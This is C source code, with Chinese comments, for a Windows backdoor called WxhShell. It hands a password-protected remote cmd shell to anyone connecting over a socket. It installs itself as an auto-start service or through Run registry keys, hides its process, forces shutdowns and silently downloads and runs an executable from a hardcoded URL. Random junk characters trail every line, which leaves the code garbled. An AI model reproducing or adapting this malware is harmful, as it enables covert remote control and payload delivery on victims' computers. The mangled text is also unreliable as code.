  // 关机 Jcs /i  
  case 'd': { vQnhb %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E piF$n  
    if(Boot(SHUTDOWN)) n-qle5sj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!QXzT$E  
    else { Xa$%`  
    closesocket(wsh); *H=h7ESq  
    ExitThread(0); T%Zfo7  
    } 6Rq +=X  
    break; e},:QL0X  
    } K>XZrt  
  // 获取shell J#iuF'%Ds  
  case 's': { wq1s#ag<  
    CmdShell(wsh); `w@z Fc!"  
    closesocket(wsh); 5b I4' ;  
    ExitThread(0); 4 EA$<n(A-  
    break; {CVZ7tU7]  
  } C$LRX7Z`o  
  // 退出 X9^q-3&60  
  case 'x': { bmKvvq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k][{4~z  
    CloseIt(wsh); 0D  `9  
    break; 4Sdj#w  
    } /6\uBy"Xt  
  // 离开 ?@Tsd@s~r  
  case 'q': { Yc3\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o@aXzF2  
    closesocket(wsh); PG|Zu3[  
    WSACleanup(); Py+ B 2G|  
    exit(1); gS]  
    break; 7M?Sndp$  
        } _@y9=e  
  } ;>X;cZMd  
  } _)3C_G1!  
fJ\ u8  
  // 提示信息 q%/.+g2-\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ('d,Sh  
} JlEfUg#*  
  } Cgf4E{\U!  
R /_vJHI  
  return; $!z.[GL  
} P(C5@x(Z  
Tpkt'|8  
// shell模块句柄 G#uB%:)&0u  
int CmdShell(SOCKET sock) jC?l :m?  
{ b0se-#+  
STARTUPINFO si; 3k8. 5W  
ZeroMemory(&si,sizeof(si)); puEu)m^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n}4q2x"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9~K+h/  
PROCESS_INFORMATION ProcessInfo; 6vJ S"+ <  
char cmdline[]="cmd"; [+}0K{(O=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XJq]l6a:  
  return 0; jgkY^l  
} SVV-zz]3M  
/~+Fzz  
// 自身启动模式 0Q cJ Ek  
int StartFromService(void) nI+.De~  
{ @|'9nPern  
typedef struct kKC] n   
{  Sb)}  
  DWORD ExitStatus;  5pHv5e  
  DWORD PebBaseAddress; a/%qn-i|p  
  DWORD AffinityMask; "#f5jH  
  DWORD BasePriority; -h8Z@r~a/  
  ULONG UniqueProcessId; 6D{70onY+  
  ULONG InheritedFromUniqueProcessId; * $1F|G  
}   PROCESS_BASIC_INFORMATION; X>]<rEh  
yRQNmR;Uy  
PROCNTQSIP NtQueryInformationProcess; #}tdA( -  
dWhqu68_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #AO}JP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2G3Hi;q18  
^R7X!tOq4  
  HANDLE             hProcess; YXdo&'Q<qX  
  PROCESS_BASIC_INFORMATION pbi; 0+w(cf~6  
eV;nTj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q yQ[H  
  if(NULL == hInst ) return 0; 0B~x8f  
C}9|e?R[Rz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {q;_Dd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .I^Y[_.G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5fmQ+2A C1  
?PV@WrU>B  
  if (!NtQueryInformationProcess) return 0; 'CG% PjCO  
t [G7&ovj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9p4SxMMO  
  if(!hProcess) return 0; :)+)L@By  
7WmY:g#s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s]D1s%Mx  
k6\&[BQs  
  CloseHandle(hProcess); =<ht@-1  
fM*aZc*Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eqWs(`  
if(hProcess==NULL) return 0; TA#pA(k  
h 3  J&  
HMODULE hMod; n# FkgXP$  
char procName[255]; ._.Qf<7  
unsigned long cbNeeded; Z 2$S'}F  
MY(51)*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jt?`(H  
|Fq\%y#  
  CloseHandle(hProcess); k#p6QA hS  
'RV wxd  
if(strstr(procName,"services")) return 1; // 以服务启动 A43[i@o  
Kc>Rd  
  return 0; // 注册表启动 \vW'\}  
} {L M Q  
)"E1/$*k  
// 主模块 %GMCyT  
int StartWxhshell(LPSTR lpCmdLine) C MGDg}  
{ ;H?tcb*  
  SOCKET wsl; :8?l=B9("g  
BOOL val=TRUE; /6 y;fx  
  int port=0; V[7D4r.j  
  struct sockaddr_in door; A\.{(,;kp  
x Y}.mP  
  if(wscfg.ws_autoins) Install(); [Qqss8a  
ZiaFByLy  
port=atoi(lpCmdLine); ,z+n@sUR:  
#210 Yp#  
if(port<=0) port=wscfg.ws_port; K_qA[n  
&u (pBr8B  
  WSADATA data; 8Qkwg]X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OY!WEP$F-C  
JbXi|OS/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F C=N}5u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #V Z js`d6  
  door.sin_family = AF_INET; ykxAm\O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I.%EYAai  
  door.sin_port = htons(port); U1|{7.R  
8N4E~*>C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ir5E*op7D  
closesocket(wsl); SzUH6|=.R=  
return 1; xp]9Z]J1l  
} =^)$my\C:  
`t g=__D  
  if(listen(wsl,2) == INVALID_SOCKET) { > V >GiSni  
closesocket(wsl); %V#? 1{  
return 1; 0P;LH3sx  
} Nlu]f-i':  
  Wxhshell(wsl); JDO n`7!w  
  WSACleanup(); Z)}2bJwA  
0}g~69Z1=  
return 0; T?7++mcA  
F$O$Y[  
} &NI\<C7_Gw  
}CrWmJu0  
// 以NT服务方式启动 i=V2 /W}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jk%H+<FU`  
{ ')(U<5y)  
DWORD   status = 0; acj-*I  
  DWORD   specificError = 0xfffffff; 3u,B<  
M L7vP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +\>op,_9I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Qxv5HS2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <J.q[fd1*  
  serviceStatus.dwWin32ExitCode     = 0; z|$9%uz"  
  serviceStatus.dwServiceSpecificExitCode = 0; FY/F}C,o  
  serviceStatus.dwCheckPoint       = 0; U8<C4  
  serviceStatus.dwWaitHint       = 0; s/P+?8'9  
cSmy M~[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iaRCV 6cl  
  if (hServiceStatusHandle==0) return; "Sw raq  
=pnQ?2Og  
status = GetLastError(); X*hPE=2` p  
  if (status!=NO_ERROR) s Dsq:z  
{ "@Qg]#]JH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z!l]v.S  
    serviceStatus.dwCheckPoint       = 0; Nema>T]  
    serviceStatus.dwWaitHint       = 0; dl3}\o_  
    serviceStatus.dwWin32ExitCode     = status; n ON]YDg  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cli:;yi&n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##OCfCW  
    return; \\`(x:\  
  } akWOE}5#  
Xv 7noq|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BUyKiMW49  
  serviceStatus.dwCheckPoint       = 0; S{,|Fa^PPO  
  serviceStatus.dwWaitHint       = 0; 8K&=]:(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3XNk*Y[5  
} }|Bs|$q  
:b;`.`@KL_  
// 处理NT服务事件,比如:启动、停止 zqp>Xw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^^*Ia'9   
{ ZM [Z9/S8  
switch(fdwControl) ciFqj3JS  
{ r5N H*\Q  
case SERVICE_CONTROL_STOP: }$(\,SzW  
  serviceStatus.dwWin32ExitCode = 0; Fj"/jdM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x]t$Zb/Uxa  
  serviceStatus.dwCheckPoint   = 0; v'r)d-T   
  serviceStatus.dwWaitHint     = 0; ;f)AM}~^Q  
  { (,cG+3r ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C3(h j  
  } aF>&X-2  
  return; 9VSi2p*  
case SERVICE_CONTROL_PAUSE: 'p[B`Ft3F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \[ 4y  
  break; 0: B%,n UM  
case SERVICE_CONTROL_CONTINUE: Sar1NkD#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .=9d3uWJ/  
  break; 4`") aM  
case SERVICE_CONTROL_INTERROGATE: S,vdd7Y  
  break; r Cb#E}  
}; 4^:$|\?]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (ki= s+W-  
} 0!tuUn  
rU 1Ri  
// 标准应用程序主函数 ACpecG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "|V}[ 2  
{ 8O[l[5u&  
be?Bf^O>  
// 获取操作系统版本 [* @ +  
OsIsNt=GetOsVer(); eDvh3Y<D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `oM'H+  
Z_[L5B]Gwd  
  // 从命令行安装 !-ZY_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1X9J[5|ll  
^1_CS*  
  // 下载执行文件 [\  &2&  
if(wscfg.ws_downexe) { lR]FQnZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {.J<^V  
  WinExec(wscfg.ws_filenam,SW_HIDE); j-ob7(v)*]  
} Qraa0]56  
#qeC)T  
if(!OsIsNt) { 6E.[F\u  
// 如果时win9x,隐藏进程并且设置为注册表启动 s-~`Ao' <  
HideProc(); DgB;6Wl  
StartWxhshell(lpCmdLine); _/Ay$l;F  
} `g0^ W/ j  
else k(_OhV_  
  if(StartFromService()) DhD##5a  
  // 以服务方式启动 <5}j(jxz}  
  StartServiceCtrlDispatcher(DispatchTable); 08! _B\  
else 4&v&XLkb  
  // 普通方式启动 f>3)}9?xc}  
  StartWxhshell(lpCmdLine); *p9k> )'J  
N7YCg  
return 0; B![:fiR`  
} D|^N9lDaQ  
[a?bv7Kz  
A;o({9VH`Z  
e>bARK<  
=========================================== ~ H/ZiBL@  
p"j &s  
(!YJ:,!so  
$aN%[  
pgZQ>%  
 QS1lg  
" ($W%&(:/  
zS h9`F  
#include <stdio.h> *zW]IQ'A  
#include <string.h> Ex skd}  
#include <windows.h> Oqq' r"S  
#include <winsock2.h> l}&2A*c.  
#include <winsvc.h> u6| IKZ  
#include <urlmon.h> 4;eD}g  
JAT%s %UC  
#pragma comment (lib, "Ws2_32.lib") @AK&R~<  
#pragma comment (lib, "urlmon.lib") dczSW ]%  
0j 8`M"6  
#define MAX_USER   100 // 最大客户端连接数 afzx?ekdF  
#define BUF_SOCK   200 // sock buffer ?e,:x ]\L  
#define KEY_BUFF   255 // 输入 buffer >y(loMl  
1b2  
#define REBOOT     0   // 重启 =E^/gc%X  
#define SHUTDOWN   1   // 关机 I5`>XfO)  
Wh~,?}laj  
#define DEF_PORT   5000 // 监听端口 5)5yH bS  
8si{|*;hL  
#define REG_LEN     16   // 注册表键长度 eZ-fy,E  
#define SVC_LEN     80   // NT服务名长度 5?([jAOf  
H4j1yD(d  
// 从dll定义API #9~,d<H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5%}!z~8Y4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `(=?k[48  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c]bG5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Sa7N%D  
4=;j.=>0X  
// wxhshell配置信息 fNfa.0 s  
struct WSCFG { Ajo IL  
  int ws_port;         // 监听端口 oN%zpz;OR  
  char ws_passstr[REG_LEN]; // 口令 6a_U[-a9;  
  int ws_autoins;       // 安装标记, 1=yes 0=no {<-wm-]mo  
  char ws_regname[REG_LEN]; // 注册表键名 DiTpjk ]c`  
  char ws_svcname[REG_LEN]; // 服务名 3d4A~!Iz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O'{kNr{u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lnLy"f"zV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e4tC[6;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t%0c$c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lo5pn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 USHQwn)%  
)jg*u}u 0  
}; foL4s;2  
qywl G  
// default Wxhshell configuration -Dy<B  
struct WSCFG wscfg={DEF_PORT, o4Cq  /K  
    "xuhuanlingzhe", WWH<s%C  
    1, NffKK:HvBB  
    "Wxhshell", p<}y'7(  
    "Wxhshell", ,v#n\LD`  
            "WxhShell Service", dUl"w`3  
    "Wrsky Windows CmdShell Service", Q"GM3?  
    "Please Input Your Password: ", c_?^:xs:d  
  1, ,2+d+Zuh  
  "http://www.wrsky.com/wxhshell.exe", -Fu,oEj{*  
  "Wxhshell.exe" jZ:/d!$S  
    }; 11kyrv  
jb{9W7;RL  
// 消息定义模块 *'aouS/?<6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dU2;   
char *msg_ws_prompt="\n\r? for help\n\r#>"; !`1m.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O:pg+o&  
char *msg_ws_ext="\n\rExit."; 2oRwDg&7|  
char *msg_ws_end="\n\rQuit."; z!18Jh  
char *msg_ws_boot="\n\rReboot..."; 9=}[~V n  
char *msg_ws_poff="\n\rShutdown..."; `h'=F(v(}  
char *msg_ws_down="\n\rSave to "; ~TeOl|!lE+  
DuDt'^]  
char *msg_ws_err="\n\rErr!"; o?Cc  
char *msg_ws_ok="\n\rOK!"; 2N]8@a  
.Dl ?a>I  
char ExeFile[MAX_PATH]; 3EY m@oZj  
int nUser = 0; =5V7212  
HANDLE handles[MAX_USER]; MI^$df  
int OsIsNt; "PO8Q  
AI#.+PrC{/  
SERVICE_STATUS       serviceStatus; H$ g*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w/rJj*  
Y4swMN8Bq  
// 函数声明 }Nwp{["}]L  
int Install(void); %7w8M{I R3  
int Uninstall(void); vw(ecs^C  
int DownloadFile(char *sURL, SOCKET wsh); $p&eS_f  
int Boot(int flag); 3dLqlJ^7B  
void HideProc(void); +`>E_+Mp  
int GetOsVer(void); (C"q-0?n  
int Wxhshell(SOCKET wsl); Xw<;)m  
void TalkWithClient(void *cs); &=$f\O1Ty  
int CmdShell(SOCKET sock); Dj'?12Onu=  
int StartFromService(void); A9u>bWIE7  
int StartWxhshell(LPSTR lpCmdLine); m)"(S  
@G=7A;-pv0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NH}o`x/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _>kc:  
g,M-[o=Fk  
// 数据结构和表定义 d;wq@ e  
SERVICE_TABLE_ENTRY DispatchTable[] = "`cPV){]  
{ 9p3~WA/M@  
{wscfg.ws_svcname, NTServiceMain}, g1"Z pD  
{NULL, NULL} zwJ&K;"y(  
}; J'7;+.s(  
2nCc(F&+?  
// 自我安装 XM*5I 4V  
int Install(void) vM5/KrW  
{ % XZ&(  
  char svExeFile[MAX_PATH]; /IJy'@B  
  HKEY key; %6 GM[1__  
  strcpy(svExeFile,ExeFile); *AGf'+j*z  
9#&H'mG  
// 如果是win9x系统,修改注册表设为自启动 yt="kZ  
if(!OsIsNt) { W} H~ka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =BE!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y)1J8kq_  
  RegCloseKey(key); qGEp 6b H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a%si:_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); svl!"tMXl  
  RegCloseKey(key); 6o\uv  
  return 0; II.: k.D`  
    } l"nS +z  
  } 3o?eUwI}  
} ' VCuMCV  
else { z},\1^[  
Ddg!1SF  
// 如果是NT以上系统,安装为系统服务 Q~svtN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1E&S{.  
if (schSCManager!=0) I^![)# FC  
{  JJ}DYv  
  SC_HANDLE schService = CreateService r hucBm  
  ( Og1vD5a  
  schSCManager, %X %zK1  
  wscfg.ws_svcname, <f8j^  
  wscfg.ws_svcdisp, z |~+0  
  SERVICE_ALL_ACCESS, 2gZp O9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K[OOI~"C  
  SERVICE_AUTO_START, 4m91XD  
  SERVICE_ERROR_NORMAL, nQ+5jGP1  
  svExeFile, FjtS  
  NULL, k_wcol,W  
  NULL, x< 2]UB`  
  NULL, R<6y7?]bZ  
  NULL, Qg(;>ops  
  NULL }8aqSD<:  
  ); Pvi2j&W84  
  if (schService!=0) *PL&CDu=)  
  { d4\JM 65  
  CloseServiceHandle(schService); };9s8VZE  
  CloseServiceHandle(schSCManager); w(S~}'Sg*P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iCg%$h  
  strcat(svExeFile,wscfg.ws_svcname); e"eIQI|N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E7? n'!=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j<0 ;JAL  
  RegCloseKey(key); {2P18&=  
  return 0; q mFbq<&  
    } `pZX!6Wn  
  } Z.Z;p/4F  
  CloseServiceHandle(schSCManager); 6LGl]jHf  
} !ae?EJm"  
} wLqj<ot  
Qr3!6  
return 1; 9cP{u$  
} Q*ELMib  
KhB775  
// 自我卸载 eUB!sR%  
int Uninstall(void) "49dsKIOH  
{ *Ic^9njt  
  HKEY key; UhS:tT]7  
$o5i15Oy.  
if(!OsIsNt) { Kd+E]$F_OH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+s*Io{Ip  
  RegDeleteValue(key,wscfg.ws_regname); 63Gq5dF  
  RegCloseKey(key); tNzO1BK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HB5-B XBU  
  RegDeleteValue(key,wscfg.ws_regname); * BR#^Wt  
  RegCloseKey(key); } f&=}  
  return 0; Zf!Q4a"  
  } ,;w~ VZ4  
} klFS3G  
} sV{\IgH/x  
else { "D_:`@V(  
7:uz{xPK6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7R:Ij[dV  
if (schSCManager!=0) 8Z9>h:c1  
{ 'ZMh<M[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f7Nmvla[q  
  if (schService!=0) Ul]7IUzsu  
  { `j)56bR  
  if(DeleteService(schService)!=0) { W5`pQdk  
  CloseServiceHandle(schService); CQ/+- -o  
  CloseServiceHandle(schSCManager); Eq;w5;7s  
  return 0; aaY AS"/:  
  } ij-'M{f  
  CloseServiceHandle(schService); } (-9d  
  } CV"}(1T  
  CloseServiceHandle(schSCManager); Q`AlK"G,  
} 1#_ pj eG  
} 2h51zG#qd  
16 `M=R  
return 1; |au`ph5  
} 2 >O[Y1  
X0P +[.i  
// 从指定url下载文件 MT>(d*0s  
int DownloadFile(char *sURL, SOCKET wsh) 6X h7Bx1  
{ v(.mM9>  
  HRESULT hr; ~=OJCKv5(  
char seps[]= "/"; ]9w)0iH  
char *token; ,>6a)2xh  
char *file; &>+T*-'  
char myURL[MAX_PATH]; Q?>r:vMi  
char myFILE[MAX_PATH]; e3CFW_p  
ky[Cx!81C  
strcpy(myURL,sURL); oOI0q_bf  
  token=strtok(myURL,seps); z[_Y,I  
  while(token!=NULL) ]i`Q+q[  
  { Bj \ x  
    file=token; K a(B&.  
  token=strtok(NULL,seps); '{ =F/q  
  } .p e3L7g  
Q34u>VkdQI  
GetCurrentDirectory(MAX_PATH,myFILE); gF)-Ci  
strcat(myFILE, "\\"); V>)/z|[  
strcat(myFILE, file); MSM8wYcD  
  send(wsh,myFILE,strlen(myFILE),0); B;=Z^$%T  
send(wsh,"...",3,0); }a5TY("d9H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *'8q?R?7g  
  if(hr==S_OK) dNt^lx  
return 0; vkGF_aenk  
else q`2dL)E  
return 1; ">wvd*w0"(  
e7xv~C>g  
} (!{*@?S  
U~ a\v8l~  
// 系统电源模块 @Drl5C}+  
int Boot(int flag) Jaw1bUP!oK  
{ !|4]V}JQ  
  HANDLE hToken; _dk[k@5W{'  
  TOKEN_PRIVILEGES tkp; Pa d)|  
vf.MSk?~ar  
  if(OsIsNt) { Ij4q &i"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Posz|u<x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J  Y8Rk=  
    tkp.PrivilegeCount = 1; 8/)\nV$0Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `H:`JBe=+[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u,8)M' UU  
if(flag==REBOOT) { klQmo30i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nn:'<6"oV  
  return 0; dX1jn;7  
} SceHdx(]  
else { $)ka1L"N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KQ]sUNH  
  return 0; ZXb{-b?[`  
} s;oe Qa}TB  
  } hv#$Zo<  
  else { fWEQ vQ  
if(flag==REBOOT) { M("sekL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w#A\(z%;x  
  return 0; <CO_JWD  
} l59\Lo:  
else { Z9M$*Zp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Hin{~h  
  return 0; rMIX{K)'f  
} LBD],Ba!  
} Jb*QlsGd  
%p)&mYK{  
return 1; -( p%+`  
} HJg&fkHn1  
|^5"-3Q  
// win9x进程隐藏模块 F5x*#/af  
void HideProc(void) $<)]~* *K  
{ hq {{XQ  
%b*N.v1+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qRZLv7X*j  
  if ( hKernel != NULL ) ue}lAW{q  
  { yLt?XhRlp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `jDmbD +=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GlXzH1wZ  
    FreeLibrary(hKernel); @eDL j}  
  } )#cGeP A  
?[O Sy.6  
return; WOGMt T%  
} g[xn0 rG  
y {Mh ?H  
// 获取操作系统版本 $4TawFf"nc  
int GetOsVer(void) FkoN+\d  
{ LGVGr  
  OSVERSIONINFO winfo; Tj=g[)+K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GwlAEhP  
  GetVersionEx(&winfo); =j1Q5@vS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3+%L[fW`/  
  return 1; |G-o&m"  
  else 'P-FeN^  
  return 0; RK=YFE 0  
} MXpj_+@  
{D&:^f  
// 客户端句柄模块 \RTXfe-`  
int Wxhshell(SOCKET wsl) W;wu2'  
{ nHL(v  
  SOCKET wsh; zd [cp@  
  struct sockaddr_in client;  _$4vk  
  DWORD myID; /E6 Tt  
"{(4  
  while(nUser<MAX_USER) JE+{Vx}  
{ RD p(Ci  
  int nSize=sizeof(client); hLLg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JSiLG0  
  if(wsh==INVALID_SOCKET) return 1; QGd"Z lQ  
'^M3g-C[Jg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Lj+&D|z  
if(handles[nUser]==0) [k6 5i  
  closesocket(wsh); V0 OT_F  
else jvos)$;L-  
  nUser++; C0Ti9  
  } [5kaF"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {mV,bg,}~  
-n$fh::^  
  return 0; r`/tb^  
} xo_Es?  
E%+1^ L  
// 关闭 socket +EgQj*F*  
void CloseIt(SOCKET wsh) !~k-S exh  
{ niN$!k+Jr  
closesocket(wsh); )Ikx0vDFQ  
nUser--; ^?tF'l`  
ExitThread(0); >U$,/_uMNW  
} [&FWR  
M0%):P?x  
// 客户端请求句柄 xpVYNS{c+|  
void TalkWithClient(void *cs) /ZKO\q  
{ ~A=Z/46*Z  
;HaG-c</  
  SOCKET wsh=(SOCKET)cs; O ijG@bI8  
  char pwd[SVC_LEN]; *tT }y(M  
  char cmd[KEY_BUFF]; %.D@{O  
char chr[1]; ve / Q6j{  
int i,j; ~3z10IG  
v ~%6!Tr  
  while (nUser < MAX_USER) { sL tsvH#  
SNd]c  
if(wscfg.ws_passstr) { R:v`\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1)M>vdrP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ye_)~,{,p  
  //ZeroMemory(pwd,KEY_BUFF); %k3a34P@  
      i=0; qN_jsJ  
  while(i<SVC_LEN) { a4! AvG  
EkqsE$52  
  // 设置超时 x3my8'h@  
  fd_set FdRead; `W[oLQ  
  struct timeval TimeOut; ]7^YPFc+  
  FD_ZERO(&FdRead); ef!V EtEOv  
  FD_SET(wsh,&FdRead); .HG0%Vp  
  TimeOut.tv_sec=8; ,Tyh._sa  
  TimeOut.tv_usec=0; ~Hs a6F&F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~z!U/QR2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _, ;c2  
!W8'apG&[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rf8`|9h"7  
  pwd=chr[0]; "sRR:wzQu  
  if(chr[0]==0xd || chr[0]==0xa) { .yF7{/  
  pwd=0; #.%;U' #O  
  break; PZ;O pp  
  } MqI!i>  
  i++; S-:l 60.  
    } T;}pMRd%  
|S:St HZm  
  // 如果是非法用户,关闭 socket 0BIH.ZV#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kf$0}T`  
} *, o)`  
J%_ :A"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W$P)fPU'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{)eZINlE  
!T|X/B R  
while(1) { (a1s~  
70m}+R(`  
  ZeroMemory(cmd,KEY_BUFF); y_8 8I:O  
-q\1Tlc]3  
      // 自动支持客户端 telnet标准   BaTE59W  
  j=0; 3%xj-7z W  
  while(j<KEY_BUFF) { SVaC)O(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z&d&Ky  
  cmd[j]=chr[0]; V4Ql6vg_f  
  if(chr[0]==0xa || chr[0]==0xd) { ?!~CX`eMZ  
  cmd[j]=0; (Y!@,rKd   
  break; a3037~X  
  } \?)<==^  
  j++; Pd\S{ Y~wk  
    } Ohnd:8E  
&}%3yrU  
  // 下载文件 h5ST`jZ  
  if(strstr(cmd,"http://")) { aBT|Q@Y.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \=4[v-3 H  
  if(DownloadFile(cmd,wsh)) p}}o#a~V),  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); icHc!m?  
  else QE$sXP7 &u  
